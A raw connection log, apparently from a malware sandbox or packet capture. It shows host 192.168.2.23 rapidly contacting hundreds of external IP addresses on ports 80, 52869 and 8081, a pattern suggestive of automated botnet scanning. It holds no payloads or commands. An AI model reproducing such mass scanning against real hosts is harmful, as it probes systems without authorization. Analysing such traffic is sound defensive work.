Jul 20, 2024 23:00:57.860783100 CEST	80	36013	95.19.197.138	192.168.2.23
Jul 20, 2024 23:00:57.860819101 CEST	36013	80	192.168.2.23	95.87.179.26
Jul 20, 2024 23:00:57.860819101 CEST	36013	80	192.168.2.23	95.108.145.90
Jul 20, 2024 23:00:57.860819101 CEST	36013	80	192.168.2.23	95.87.77.137
Jul 20, 2024 23:00:57.860819101 CEST	36013	80	192.168.2.23	95.55.160.81
Jul 20, 2024 23:00:57.860857964 CEST	80	36013	95.105.125.225	192.168.2.23
Jul 20, 2024 23:00:57.860898972 CEST	80	36013	95.158.140.140	192.168.2.23
Jul 20, 2024 23:00:57.860919952 CEST	36013	80	192.168.2.23	95.105.125.225
Jul 20, 2024 23:00:57.860922098 CEST	80	36013	95.219.125.105	192.168.2.23
Jul 20, 2024 23:00:57.860989094 CEST	36013	80	192.168.2.23	95.219.125.105
Jul 20, 2024 23:00:57.861015081 CEST	80	36013	95.249.221.188	192.168.2.23
Jul 20, 2024 23:00:57.861030102 CEST	80	36013	95.251.168.6	192.168.2.23
Jul 20, 2024 23:00:57.861044884 CEST	80	36013	95.253.245.225	192.168.2.23
Jul 20, 2024 23:00:57.861047983 CEST	36013	80	192.168.2.23	95.249.221.188
Jul 20, 2024 23:00:57.861112118 CEST	36013	80	192.168.2.23	95.251.168.6
Jul 20, 2024 23:00:57.861183882 CEST	36013	80	192.168.2.23	95.248.79.76
Jul 20, 2024 23:00:57.861183882 CEST	36013	80	192.168.2.23	95.19.197.138
Jul 20, 2024 23:00:57.861183882 CEST	36013	80	192.168.2.23	95.158.140.140
Jul 20, 2024 23:00:57.861183882 CEST	36013	80	192.168.2.23	95.253.245.225
Jul 20, 2024 23:00:57.861368895 CEST	36013	80	192.168.2.23	95.138.193.76
Jul 20, 2024 23:00:57.861368895 CEST	36013	80	192.168.2.23	95.244.141.14
Jul 20, 2024 23:00:57.861368895 CEST	36013	80	192.168.2.23	95.181.109.6
Jul 20, 2024 23:00:57.861368895 CEST	36013	80	192.168.2.23	95.17.180.21
Jul 20, 2024 23:00:57.861368895 CEST	36013	80	192.168.2.23	95.69.10.4
Jul 20, 2024 23:00:57.861368895 CEST	33453	52869	192.168.2.23	161.207.161.49
Jul 20, 2024 23:00:57.861368895 CEST	36013	80	192.168.2.23	95.77.245.26
Jul 20, 2024 23:00:57.861368895 CEST	33453	52869	192.168.2.23	156.161.237.1
Jul 20, 2024 23:00:57.861469030 CEST	80	36013	95.94.173.132	192.168.2.23
Jul 20, 2024 23:00:57.861594915 CEST	80	36013	95.143.218.123	192.168.2.23
Jul 20, 2024 23:00:57.861627102 CEST	80	36013	95.65.26.117	192.168.2.23
Jul 20, 2024 23:00:57.861634970 CEST	36013	80	192.168.2.23	95.143.218.123
Jul 20, 2024 23:00:57.861640930 CEST	80	36013	95.150.120.62	192.168.2.23
Jul 20, 2024 23:00:57.861643076 CEST	36013	80	192.168.2.23	95.94.173.132
Jul 20, 2024 23:00:57.861654997 CEST	80	36013	95.155.161.231	192.168.2.23
Jul 20, 2024 23:00:57.861675978 CEST	33453	52869	192.168.2.23	197.240.19.68
Jul 20, 2024 23:00:57.861675978 CEST	33453	52869	192.168.2.23	60.114.246.170
Jul 20, 2024 23:00:57.861675978 CEST	33453	52869	192.168.2.23	113.194.203.134
Jul 20, 2024 23:00:57.861675978 CEST	33453	52869	192.168.2.23	66.60.254.197
Jul 20, 2024 23:00:57.861675978 CEST	33453	52869	192.168.2.23	123.106.189.191
Jul 20, 2024 23:00:57.861675978 CEST	33453	52869	192.168.2.23	107.53.30.32
Jul 20, 2024 23:00:57.861675978 CEST	33453	52869	192.168.2.23	189.189.189.75
Jul 20, 2024 23:00:57.861675978 CEST	33453	52869	192.168.2.23	9.191.139.127
Jul 20, 2024 23:00:57.861692905 CEST	36013	80	192.168.2.23	95.155.161.231
Jul 20, 2024 23:00:57.861711025 CEST	36013	80	192.168.2.23	95.150.120.62
Jul 20, 2024 23:00:57.861741066 CEST	36013	80	192.168.2.23	95.65.26.117
Jul 20, 2024 23:00:57.862128973 CEST	80	36013	95.185.211.152	192.168.2.23
Jul 20, 2024 23:00:57.862169027 CEST	36013	80	192.168.2.23	95.185.211.152
Jul 20, 2024 23:00:57.862193108 CEST	80	36013	95.144.250.151	192.168.2.23
Jul 20, 2024 23:00:57.862206936 CEST	80	36013	95.37.17.184	192.168.2.23
Jul 20, 2024 23:00:57.862210989 CEST	33453	52869	192.168.2.23	213.65.95.199
Jul 20, 2024 23:00:57.862210989 CEST	33453	52869	192.168.2.23	52.159.231.182
Jul 20, 2024 23:00:57.862210989 CEST	33453	52869	192.168.2.23	137.166.89.163
Jul 20, 2024 23:00:57.862210989 CEST	33453	52869	192.168.2.23	220.215.118.148
Jul 20, 2024 23:00:57.862210989 CEST	33453	52869	192.168.2.23	63.12.183.247
Jul 20, 2024 23:00:57.862210989 CEST	33453	52869	192.168.2.23	183.32.140.127
Jul 20, 2024 23:00:57.862210989 CEST	33453	52869	192.168.2.23	126.235.98.167
Jul 20, 2024 23:00:57.862210989 CEST	33453	52869	192.168.2.23	164.119.209.178
Jul 20, 2024 23:00:57.862221003 CEST	80	36013	95.67.166.173	192.168.2.23
Jul 20, 2024 23:00:57.862234116 CEST	36013	80	192.168.2.23	95.144.250.151
Jul 20, 2024 23:00:57.862236023 CEST	80	36013	95.67.33.66	192.168.2.23
Jul 20, 2024 23:00:57.862237930 CEST	36013	80	192.168.2.23	95.37.17.184
Jul 20, 2024 23:00:57.862251043 CEST	80	36013	95.180.44.181	192.168.2.23
Jul 20, 2024 23:00:57.862278938 CEST	80	36013	95.180.177.183	192.168.2.23
Jul 20, 2024 23:00:57.862293005 CEST	80	36013	95.53.118.65	192.168.2.23
Jul 20, 2024 23:00:57.862306118 CEST	80	36013	95.249.27.14	192.168.2.23
Jul 20, 2024 23:00:57.862308979 CEST	36013	80	192.168.2.23	95.180.44.181
Jul 20, 2024 23:00:57.862319946 CEST	80	36013	95.197.154.83	192.168.2.23
Jul 20, 2024 23:00:57.862333059 CEST	80	36013	95.79.26.189	192.168.2.23
Jul 20, 2024 23:00:57.862345934 CEST	80	36013	95.174.246.108	192.168.2.23
Jul 20, 2024 23:00:57.862349033 CEST	36013	80	192.168.2.23	95.67.33.66
Jul 20, 2024 23:00:57.862349033 CEST	36013	80	192.168.2.23	95.53.118.65
Jul 20, 2024 23:00:57.862349033 CEST	36013	80	192.168.2.23	95.249.27.14
Jul 20, 2024 23:00:57.862360001 CEST	80	36013	95.141.113.27	192.168.2.23
Jul 20, 2024 23:00:57.862371922 CEST	36013	80	192.168.2.23	95.67.166.173
Jul 20, 2024 23:00:57.862371922 CEST	36013	80	192.168.2.23	95.180.177.183
Jul 20, 2024 23:00:57.862512112 CEST	36013	80	192.168.2.23	95.141.113.27
Jul 20, 2024 23:00:57.862559080 CEST	80	36013	95.217.193.65	192.168.2.23
Jul 20, 2024 23:00:57.862560987 CEST	33453	52869	192.168.2.23	27.53.217.25
Jul 20, 2024 23:00:57.862560987 CEST	33453	52869	192.168.2.23	147.16.146.255
Jul 20, 2024 23:00:57.862560987 CEST	33453	52869	192.168.2.23	82.39.21.119
Jul 20, 2024 23:00:57.862560987 CEST	33453	52869	192.168.2.23	141.146.180.98
Jul 20, 2024 23:00:57.862560987 CEST	33453	52869	192.168.2.23	154.111.34.69
Jul 20, 2024 23:00:57.862560987 CEST	33453	52869	192.168.2.23	151.217.153.195
Jul 20, 2024 23:00:57.862560987 CEST	33453	52869	192.168.2.23	194.47.173.108
Jul 20, 2024 23:00:57.862560987 CEST	33453	52869	192.168.2.23	115.58.48.120
Jul 20, 2024 23:00:57.862591982 CEST	80	36013	95.60.18.245	192.168.2.23
Jul 20, 2024 23:00:57.862605095 CEST	80	36013	95.24.237.161	192.168.2.23
Jul 20, 2024 23:00:57.862617016 CEST	80	36013	95.158.172.2	192.168.2.23
Jul 20, 2024 23:00:57.862624884 CEST	36013	80	192.168.2.23	95.197.154.83
Jul 20, 2024 23:00:57.862624884 CEST	36013	80	192.168.2.23	95.79.26.189
Jul 20, 2024 23:00:57.862641096 CEST	80	36013	95.117.228.230	192.168.2.23
Jul 20, 2024 23:00:57.862654924 CEST	80	36013	95.211.242.128	192.168.2.23
Jul 20, 2024 23:00:57.862658978 CEST	36013	80	192.168.2.23	95.174.246.108
Jul 20, 2024 23:00:57.862658978 CEST	36013	80	192.168.2.23	95.217.193.65
Jul 20, 2024 23:00:57.862658978 CEST	36013	80	192.168.2.23	95.60.18.245
Jul 20, 2024 23:00:57.862658978 CEST	36013	80	192.168.2.23	95.158.172.2
Jul 20, 2024 23:00:57.862668991 CEST	80	36013	95.43.131.75	192.168.2.23
Jul 20, 2024 23:00:57.862683058 CEST	80	36013	95.189.97.107	192.168.2.23
Jul 20, 2024 23:00:57.862715006 CEST	36013	80	192.168.2.23	95.117.228.230
Jul 20, 2024 23:00:57.862823009 CEST	36013	80	192.168.2.23	95.24.237.161
Jul 20, 2024 23:00:57.862823009 CEST	36013	80	192.168.2.23	95.43.131.75
Jul 20, 2024 23:00:57.862962961 CEST	80	36013	95.184.245.9	192.168.2.23
Jul 20, 2024 23:00:57.862988949 CEST	80	36013	95.145.165.137	192.168.2.23
Jul 20, 2024 23:00:57.863001108 CEST	80	36013	95.128.249.175	192.168.2.23
Jul 20, 2024 23:00:57.863002062 CEST	36013	80	192.168.2.23	95.184.245.9
Jul 20, 2024 23:00:57.863014936 CEST	80	36013	95.175.196.190	192.168.2.23
Jul 20, 2024 23:00:57.863027096 CEST	36013	80	192.168.2.23	95.145.165.137
Jul 20, 2024 23:00:57.863035917 CEST	36013	80	192.168.2.23	95.211.242.128
Jul 20, 2024 23:00:57.863035917 CEST	36013	80	192.168.2.23	95.189.97.107
Jul 20, 2024 23:00:57.863071918 CEST	36013	80	192.168.2.23	95.128.249.175
Jul 20, 2024 23:00:57.863240004 CEST	33453	52869	192.168.2.23	92.198.15.133
Jul 20, 2024 23:00:57.863240004 CEST	33453	52869	192.168.2.23	223.129.233.204
Jul 20, 2024 23:00:57.863240004 CEST	33453	52869	192.168.2.23	172.10.232.56
Jul 20, 2024 23:00:57.863240004 CEST	33453	52869	192.168.2.23	182.239.43.117
Jul 20, 2024 23:00:57.863240004 CEST	33453	52869	192.168.2.23	188.225.108.211
Jul 20, 2024 23:00:57.863240004 CEST	33453	52869	192.168.2.23	104.136.37.167
Jul 20, 2024 23:00:57.863240004 CEST	33453	52869	192.168.2.23	142.115.228.113
Jul 20, 2024 23:00:57.863240004 CEST	33453	52869	192.168.2.23	180.29.95.56
Jul 20, 2024 23:00:57.863308907 CEST	36013	80	192.168.2.23	95.175.196.190
Jul 20, 2024 23:00:57.863348961 CEST	80	36013	95.142.22.113	192.168.2.23
Jul 20, 2024 23:00:57.863367081 CEST	80	36013	95.165.189.2	192.168.2.23
Jul 20, 2024 23:00:57.863388062 CEST	36013	80	192.168.2.23	95.142.22.113
Jul 20, 2024 23:00:57.863403082 CEST	36013	80	192.168.2.23	95.165.189.2
Jul 20, 2024 23:00:57.863423109 CEST	80	36013	95.233.70.141	192.168.2.23
Jul 20, 2024 23:00:57.863456011 CEST	36013	80	192.168.2.23	95.233.70.141
Jul 20, 2024 23:00:57.863533020 CEST	33453	52869	192.168.2.23	161.105.155.209
Jul 20, 2024 23:00:57.863533020 CEST	33453	52869	192.168.2.23	12.143.210.151
Jul 20, 2024 23:00:57.863533974 CEST	33453	52869	192.168.2.23	164.48.190.216
Jul 20, 2024 23:00:57.863533974 CEST	33453	52869	192.168.2.23	221.70.179.195
Jul 20, 2024 23:00:57.863533974 CEST	33453	52869	192.168.2.23	25.243.49.0
Jul 20, 2024 23:00:57.863533974 CEST	33453	52869	192.168.2.23	41.26.197.135
Jul 20, 2024 23:00:57.863533974 CEST	33453	52869	192.168.2.23	118.99.232.46
Jul 20, 2024 23:00:57.863533974 CEST	33453	52869	192.168.2.23	107.66.101.221
Jul 20, 2024 23:00:57.863631964 CEST	80	36013	95.2.83.223	192.168.2.23
Jul 20, 2024 23:00:57.863647938 CEST	80	36013	95.9.3.94	192.168.2.23
Jul 20, 2024 23:00:57.863662004 CEST	80	36013	95.98.52.164	192.168.2.23
Jul 20, 2024 23:00:57.863670111 CEST	36013	80	192.168.2.23	95.2.83.223
Jul 20, 2024 23:00:57.863677025 CEST	80	36013	95.72.243.245	192.168.2.23
Jul 20, 2024 23:00:57.863687038 CEST	36013	80	192.168.2.23	95.9.3.94
Jul 20, 2024 23:00:57.863698006 CEST	36013	80	192.168.2.23	95.98.52.164
Jul 20, 2024 23:00:57.863745928 CEST	33453	52869	192.168.2.23	105.33.73.98
Jul 20, 2024 23:00:57.863745928 CEST	33453	52869	192.168.2.23	124.244.154.73
Jul 20, 2024 23:00:57.863745928 CEST	33453	52869	192.168.2.23	18.226.75.56
Jul 20, 2024 23:00:57.863745928 CEST	33453	52869	192.168.2.23	122.220.112.182
Jul 20, 2024 23:00:57.863745928 CEST	33453	52869	192.168.2.23	79.16.36.72
Jul 20, 2024 23:00:57.863745928 CEST	33453	52869	192.168.2.23	53.65.67.37
Jul 20, 2024 23:00:57.863745928 CEST	33453	52869	192.168.2.23	86.54.128.247
Jul 20, 2024 23:00:57.863782883 CEST	36013	80	192.168.2.23	95.72.243.245
Jul 20, 2024 23:00:57.863840103 CEST	80	36013	95.14.180.121	192.168.2.23
Jul 20, 2024 23:00:57.863878965 CEST	36013	80	192.168.2.23	95.14.180.121
Jul 20, 2024 23:00:57.864026070 CEST	33453	52869	192.168.2.23	46.236.176.228
Jul 20, 2024 23:00:57.864026070 CEST	33453	52869	192.168.2.23	170.49.47.196
Jul 20, 2024 23:00:57.864026070 CEST	33453	52869	192.168.2.23	137.76.145.109
Jul 20, 2024 23:00:57.864026070 CEST	33453	52869	192.168.2.23	205.153.67.222
Jul 20, 2024 23:00:57.864026070 CEST	33453	52869	192.168.2.23	140.1.145.198
Jul 20, 2024 23:00:57.864026070 CEST	33453	52869	192.168.2.23	4.242.142.248
Jul 20, 2024 23:00:57.864026070 CEST	33453	52869	192.168.2.23	79.156.84.186
Jul 20, 2024 23:00:57.864026070 CEST	33453	52869	192.168.2.23	193.174.76.77
Jul 20, 2024 23:00:57.864109039 CEST	33453	52869	192.168.2.23	35.218.75.146
Jul 20, 2024 23:00:57.864109039 CEST	33453	52869	192.168.2.23	140.46.155.169
Jul 20, 2024 23:00:57.864128113 CEST	80	36013	95.176.99.167	192.168.2.23
Jul 20, 2024 23:00:57.864142895 CEST	80	36013	95.185.224.200	192.168.2.23
Jul 20, 2024 23:00:57.864156961 CEST	80	36013	95.60.6.69	192.168.2.23
Jul 20, 2024 23:00:57.864168882 CEST	36013	80	192.168.2.23	95.176.99.167
Jul 20, 2024 23:00:57.864186049 CEST	36013	80	192.168.2.23	95.60.6.69
Jul 20, 2024 23:00:57.864197016 CEST	36013	80	192.168.2.23	95.185.224.200
Jul 20, 2024 23:00:57.864454031 CEST	80	36013	95.35.190.125	192.168.2.23
Jul 20, 2024 23:00:57.864530087 CEST	36013	80	192.168.2.23	95.35.190.125
Jul 20, 2024 23:00:57.864625931 CEST	80	36013	95.20.69.192	192.168.2.23
Jul 20, 2024 23:00:57.864706039 CEST	80	36013	95.146.123.167	192.168.2.23
Jul 20, 2024 23:00:57.864705086 CEST	36013	80	192.168.2.23	95.20.69.192
Jul 20, 2024 23:00:57.864753962 CEST	36013	80	192.168.2.23	95.146.123.167
Jul 20, 2024 23:00:57.864782095 CEST	80	36013	95.51.39.220	192.168.2.23
Jul 20, 2024 23:00:57.864840031 CEST	36013	80	192.168.2.23	95.51.39.220
Jul 20, 2024 23:00:57.864936113 CEST	80	36013	95.163.42.168	192.168.2.23
Jul 20, 2024 23:00:57.864989042 CEST	36013	80	192.168.2.23	95.163.42.168
Jul 20, 2024 23:00:57.865041971 CEST	80	36013	95.225.30.126	192.168.2.23
Jul 20, 2024 23:00:57.865056038 CEST	80	36013	95.77.96.187	192.168.2.23
Jul 20, 2024 23:00:57.865068913 CEST	80	36013	95.79.97.137	192.168.2.23
Jul 20, 2024 23:00:57.865078926 CEST	36013	80	192.168.2.23	95.225.30.126
Jul 20, 2024 23:00:57.865082026 CEST	80	36013	95.62.65.88	192.168.2.23
Jul 20, 2024 23:00:57.865098000 CEST	36013	80	192.168.2.23	95.77.96.187
Jul 20, 2024 23:00:57.865098000 CEST	36013	80	192.168.2.23	95.79.97.137
Jul 20, 2024 23:00:57.865119934 CEST	36013	80	192.168.2.23	95.62.65.88
Jul 20, 2024 23:00:57.865328074 CEST	80	36013	95.228.122.217	192.168.2.23
Jul 20, 2024 23:00:57.865343094 CEST	80	36013	95.31.250.154	192.168.2.23
Jul 20, 2024 23:00:57.865358114 CEST	80	36013	95.141.12.133	192.168.2.23
Jul 20, 2024 23:00:57.865360022 CEST	36013	80	192.168.2.23	95.228.122.217
Jul 20, 2024 23:00:57.865380049 CEST	36013	80	192.168.2.23	95.31.250.154
Jul 20, 2024 23:00:57.865385056 CEST	80	36013	95.157.63.110	192.168.2.23
Jul 20, 2024 23:00:57.865398884 CEST	80	36013	95.84.171.245	192.168.2.23
Jul 20, 2024 23:00:57.865408897 CEST	36013	80	192.168.2.23	95.141.12.133
Jul 20, 2024 23:00:57.865412951 CEST	80	36013	95.54.229.146	192.168.2.23
Jul 20, 2024 23:00:57.865417957 CEST	36013	80	192.168.2.23	95.157.63.110
Jul 20, 2024 23:00:57.865427971 CEST	80	36013	95.73.253.68	192.168.2.23
Jul 20, 2024 23:00:57.865442038 CEST	80	36013	95.158.161.107	192.168.2.23
Jul 20, 2024 23:00:57.865443945 CEST	36013	80	192.168.2.23	95.84.171.245
Jul 20, 2024 23:00:57.865456104 CEST	80	36013	95.68.174.131	192.168.2.23
Jul 20, 2024 23:00:57.865457058 CEST	57272	8081	192.168.2.23	153.129.111.29
Jul 20, 2024 23:00:57.865469933 CEST	36013	80	192.168.2.23	95.54.229.146
Jul 20, 2024 23:00:57.865469933 CEST	36013	80	192.168.2.23	95.158.161.107
Jul 20, 2024 23:00:57.865482092 CEST	36013	80	192.168.2.23	95.73.253.68
Jul 20, 2024 23:00:57.865482092 CEST	36013	80	192.168.2.23	95.68.174.131
Jul 20, 2024 23:00:57.865571022 CEST	80	36013	95.39.251.160	192.168.2.23
Jul 20, 2024 23:00:57.865597963 CEST	80	36013	95.193.102.87	192.168.2.23
Jul 20, 2024 23:00:57.865612030 CEST	80	36013	95.13.147.245	192.168.2.23
Jul 20, 2024 23:00:57.865626097 CEST	80	36013	95.200.93.32	192.168.2.23
Jul 20, 2024 23:00:57.865634918 CEST	36013	80	192.168.2.23	95.193.102.87
Jul 20, 2024 23:00:57.865654945 CEST	36013	80	192.168.2.23	95.39.251.160
Jul 20, 2024 23:00:57.865654945 CEST	36013	80	192.168.2.23	95.13.147.245
Jul 20, 2024 23:00:57.865664005 CEST	36013	80	192.168.2.23	95.200.93.32
Jul 20, 2024 23:00:57.865681887 CEST	80	36013	95.180.112.99	192.168.2.23
Jul 20, 2024 23:00:57.865766048 CEST	36013	80	192.168.2.23	95.180.112.99
Jul 20, 2024 23:00:57.865773916 CEST	41508	80	192.168.2.23	95.59.86.189
Jul 20, 2024 23:00:57.865905046 CEST	80	36013	95.146.9.97	192.168.2.23
Jul 20, 2024 23:00:57.865920067 CEST	80	36013	95.193.127.53	192.168.2.23
Jul 20, 2024 23:00:57.865932941 CEST	80	36013	95.2.38.95	192.168.2.23
Jul 20, 2024 23:00:57.865942955 CEST	36013	80	192.168.2.23	95.146.9.97
Jul 20, 2024 23:00:57.865947962 CEST	80	36013	95.130.185.6	192.168.2.23
Jul 20, 2024 23:00:57.865962982 CEST	80	36013	95.214.14.181	192.168.2.23
Jul 20, 2024 23:00:57.865966082 CEST	36013	80	192.168.2.23	95.2.38.95
Jul 20, 2024 23:00:57.865966082 CEST	36013	80	192.168.2.23	95.193.127.53
Jul 20, 2024 23:00:57.865977049 CEST	80	36013	95.224.53.124	192.168.2.23
Jul 20, 2024 23:00:57.865991116 CEST	80	36013	95.51.139.133	192.168.2.23
Jul 20, 2024 23:00:57.865998983 CEST	36013	80	192.168.2.23	95.214.14.181
Jul 20, 2024 23:00:57.866306067 CEST	36013	80	192.168.2.23	95.130.185.6
Jul 20, 2024 23:00:57.866306067 CEST	36013	80	192.168.2.23	95.224.53.124
Jul 20, 2024 23:00:57.866306067 CEST	36013	80	192.168.2.23	95.51.139.133
Jul 20, 2024 23:00:57.866466045 CEST	80	36013	95.210.90.110	192.168.2.23
Jul 20, 2024 23:00:57.866545916 CEST	36013	80	192.168.2.23	95.210.90.110
Jul 20, 2024 23:00:57.866586924 CEST	43466	52869	192.168.2.23	189.75.86.189
Jul 20, 2024 23:00:57.866734028 CEST	80	36013	95.144.123.193	192.168.2.23
Jul 20, 2024 23:00:57.866766930 CEST	36013	80	192.168.2.23	95.144.123.193
Jul 20, 2024 23:00:57.867105007 CEST	80	36013	95.138.193.76	192.168.2.23
Jul 20, 2024 23:00:57.867218971 CEST	80	36013	95.244.141.14	192.168.2.23
Jul 20, 2024 23:00:57.867244005 CEST	36013	80	192.168.2.23	95.138.193.76
Jul 20, 2024 23:00:57.867264986 CEST	36013	80	192.168.2.23	95.244.141.14
Jul 20, 2024 23:00:57.867271900 CEST	80	36013	95.181.109.6	192.168.2.23
Jul 20, 2024 23:00:57.867306948 CEST	80	36013	95.17.180.21	192.168.2.23
Jul 20, 2024 23:00:57.867455959 CEST	36013	80	192.168.2.23	95.181.109.6
Jul 20, 2024 23:00:57.867455959 CEST	36013	80	192.168.2.23	95.17.180.21
Jul 20, 2024 23:00:57.867881060 CEST	80	36013	95.69.10.4	192.168.2.23
Jul 20, 2024 23:00:57.867894888 CEST	80	36013	95.77.245.26	192.168.2.23
Jul 20, 2024 23:00:57.868069887 CEST	36013	80	192.168.2.23	95.69.10.4
Jul 20, 2024 23:00:57.868069887 CEST	36013	80	192.168.2.23	95.77.245.26
Jul 20, 2024 23:00:57.870951891 CEST	8081	57272	153.129.111.29	192.168.2.23
Jul 20, 2024 23:00:57.870995045 CEST	57272	8081	192.168.2.23	153.129.111.29
Jul 20, 2024 23:00:57.871016979 CEST	45498	80	192.168.2.23	95.189.55.135
Jul 20, 2024 23:00:57.871371984 CEST	80	41508	95.59.86.189	192.168.2.23
Jul 20, 2024 23:00:57.871418953 CEST	41508	80	192.168.2.23	95.59.86.189
Jul 20, 2024 23:00:57.871490955 CEST	48566	8081	192.168.2.23	69.135.152.58
Jul 20, 2024 23:00:57.874901056 CEST	52869	43466	189.75.86.189	192.168.2.23
Jul 20, 2024 23:00:57.874979019 CEST	43466	52869	192.168.2.23	189.75.86.189
Jul 20, 2024 23:00:57.876171112 CEST	33244	80	192.168.2.23	95.214.141.146
Jul 20, 2024 23:00:57.877093077 CEST	52638	52869	192.168.2.23	164.189.55.135
Jul 20, 2024 23:00:57.877093077 CEST	80	45498	95.189.55.135	192.168.2.23
Jul 20, 2024 23:00:57.877135038 CEST	45498	80	192.168.2.23	95.189.55.135
Jul 20, 2024 23:00:57.877281904 CEST	35682	8081	192.168.2.23	79.87.222.247
Jul 20, 2024 23:00:57.877367020 CEST	8081	48566	69.135.152.58	192.168.2.23
Jul 20, 2024 23:00:57.877409935 CEST	48566	8081	192.168.2.23	69.135.152.58
Jul 20, 2024 23:00:57.880511999 CEST	34154	80	192.168.2.23	95.185.71.137
Jul 20, 2024 23:00:57.881444931 CEST	80	33244	95.214.141.146	192.168.2.23
Jul 20, 2024 23:00:57.881503105 CEST	33244	80	192.168.2.23	95.214.141.146
Jul 20, 2024 23:00:57.881959915 CEST	52869	52638	164.189.55.135	192.168.2.23
Jul 20, 2024 23:00:57.882005930 CEST	52638	52869	192.168.2.23	164.189.55.135
Jul 20, 2024 23:00:57.882199049 CEST	8081	35682	79.87.222.247	192.168.2.23
Jul 20, 2024 23:00:57.882245064 CEST	35682	8081	192.168.2.23	79.87.222.247
Jul 20, 2024 23:00:57.883508921 CEST	39450	8081	192.168.2.23	110.90.71.250
Jul 20, 2024 23:00:57.885868073 CEST	80	34154	95.185.71.137	192.168.2.23
Jul 20, 2024 23:00:57.885912895 CEST	34154	80	192.168.2.23	95.185.71.137
Jul 20, 2024 23:00:57.887444973 CEST	51312	80	192.168.2.23	95.196.201.154
Jul 20, 2024 23:00:57.888298035 CEST	42464	52869	192.168.2.23	157.202.7.129
Jul 20, 2024 23:00:57.889257908 CEST	8081	39450	110.90.71.250	192.168.2.23
Jul 20, 2024 23:00:57.889406919 CEST	39450	8081	192.168.2.23	110.90.71.250
Jul 20, 2024 23:00:57.889765024 CEST	36944	8081	192.168.2.23	162.88.219.206
Jul 20, 2024 23:00:57.892350912 CEST	80	51312	95.196.201.154	192.168.2.23
Jul 20, 2024 23:00:57.892393112 CEST	51312	80	192.168.2.23	95.196.201.154
Jul 20, 2024 23:00:57.892697096 CEST	43120	80	192.168.2.23	95.65.53.181
Jul 20, 2024 23:00:57.893181086 CEST	52869	42464	157.202.7.129	192.168.2.23
Jul 20, 2024 23:00:57.893294096 CEST	42464	52869	192.168.2.23	157.202.7.129
Jul 20, 2024 23:00:57.894720078 CEST	8081	36944	162.88.219.206	192.168.2.23
Jul 20, 2024 23:00:57.894781113 CEST	36944	8081	192.168.2.23	162.88.219.206
Jul 20, 2024 23:00:57.896832943 CEST	41502	8081	192.168.2.23	49.49.107.76
Jul 20, 2024 23:00:57.897583008 CEST	80	43120	95.65.53.181	192.168.2.23
Jul 20, 2024 23:00:57.897631884 CEST	43120	80	192.168.2.23	95.65.53.181
Jul 20, 2024 23:00:57.899431944 CEST	34716	80	192.168.2.23	95.247.205.18
Jul 20, 2024 23:00:57.900238037 CEST	44414	52869	192.168.2.23	12.55.180.198
Jul 20, 2024 23:00:57.903688908 CEST	41362	8081	192.168.2.23	157.217.88.36
Jul 20, 2024 23:00:57.903975964 CEST	32848	80	192.168.2.23	95.2.212.137
Jul 20, 2024 23:00:57.904376030 CEST	8081	41502	49.49.107.76	192.168.2.23
Jul 20, 2024 23:00:57.904421091 CEST	41502	8081	192.168.2.23	49.49.107.76
Jul 20, 2024 23:00:57.905570030 CEST	80	34716	95.247.205.18	192.168.2.23
Jul 20, 2024 23:00:57.905607939 CEST	34716	80	192.168.2.23	95.247.205.18
Jul 20, 2024 23:00:57.906028032 CEST	52869	44414	12.55.180.198	192.168.2.23
Jul 20, 2024 23:00:57.906105995 CEST	44414	52869	192.168.2.23	12.55.180.198
Jul 20, 2024 23:00:57.908613920 CEST	53678	8081	192.168.2.23	103.122.90.220
Jul 20, 2024 23:00:57.908869028 CEST	40214	80	192.168.2.23	95.191.65.210
Jul 20, 2024 23:00:57.909698963 CEST	43644	52869	192.168.2.23	199.61.238.254
Jul 20, 2024 23:00:57.909955025 CEST	8081	41362	157.217.88.36	192.168.2.23
Jul 20, 2024 23:00:57.910095930 CEST	80	32848	95.2.212.137	192.168.2.23
Jul 20, 2024 23:00:57.910096884 CEST	41362	8081	192.168.2.23	157.217.88.36
Jul 20, 2024 23:00:57.910269976 CEST	32848	80	192.168.2.23	95.2.212.137
Jul 20, 2024 23:00:57.913064003 CEST	56016	80	192.168.2.23	95.60.51.67
Jul 20, 2024 23:00:57.913907051 CEST	39770	8081	192.168.2.23	182.241.162.14
Jul 20, 2024 23:00:57.914655924 CEST	8081	53678	103.122.90.220	192.168.2.23
Jul 20, 2024 23:00:57.914702892 CEST	53678	8081	192.168.2.23	103.122.90.220
Jul 20, 2024 23:00:57.914944887 CEST	80	40214	95.191.65.210	192.168.2.23
Jul 20, 2024 23:00:57.915093899 CEST	40214	80	192.168.2.23	95.191.65.210
Jul 20, 2024 23:00:57.915574074 CEST	52869	43644	199.61.238.254	192.168.2.23
Jul 20, 2024 23:00:57.915616035 CEST	43644	52869	192.168.2.23	199.61.238.254
Jul 20, 2024 23:00:57.918649912 CEST	33850	80	192.168.2.23	95.87.70.25
Jul 20, 2024 23:00:57.919159889 CEST	80	56016	95.60.51.67	192.168.2.23
Jul 20, 2024 23:00:57.919229031 CEST	56016	80	192.168.2.23	95.60.51.67
Jul 20, 2024 23:00:57.919492006 CEST	38876	8081	192.168.2.23	101.167.238.79
Jul 20, 2024 23:00:57.919508934 CEST	38296	52869	192.168.2.23	199.214.91.137
Jul 20, 2024 23:00:57.919837952 CEST	8081	39770	182.241.162.14	192.168.2.23
Jul 20, 2024 23:00:57.920016050 CEST	39770	8081	192.168.2.23	182.241.162.14
Jul 20, 2024 23:00:57.923238039 CEST	58186	80	192.168.2.23	95.36.82.73
Jul 20, 2024 23:00:57.924725056 CEST	80	33850	95.87.70.25	192.168.2.23
Jul 20, 2024 23:00:57.924768925 CEST	33850	80	192.168.2.23	95.87.70.25
Jul 20, 2024 23:00:57.925117016 CEST	55508	8081	192.168.2.23	129.66.19.4
Jul 20, 2024 23:00:57.925558090 CEST	8081	38876	101.167.238.79	192.168.2.23
Jul 20, 2024 23:00:57.925571918 CEST	52869	38296	199.214.91.137	192.168.2.23
Jul 20, 2024 23:00:57.925599098 CEST	38876	8081	192.168.2.23	101.167.238.79
Jul 20, 2024 23:00:57.925724030 CEST	38296	52869	192.168.2.23	199.214.91.137
Jul 20, 2024 23:00:57.928375006 CEST	49470	80	192.168.2.23	95.199.108.166
Jul 20, 2024 23:00:57.928972960 CEST	59766	52869	192.168.2.23	133.66.91.121
Jul 20, 2024 23:00:57.929913044 CEST	80	58186	95.36.82.73	192.168.2.23
Jul 20, 2024 23:00:57.929951906 CEST	58186	80	192.168.2.23	95.36.82.73
Jul 20, 2024 23:00:57.930598974 CEST	58430	8081	192.168.2.23	42.37.47.7
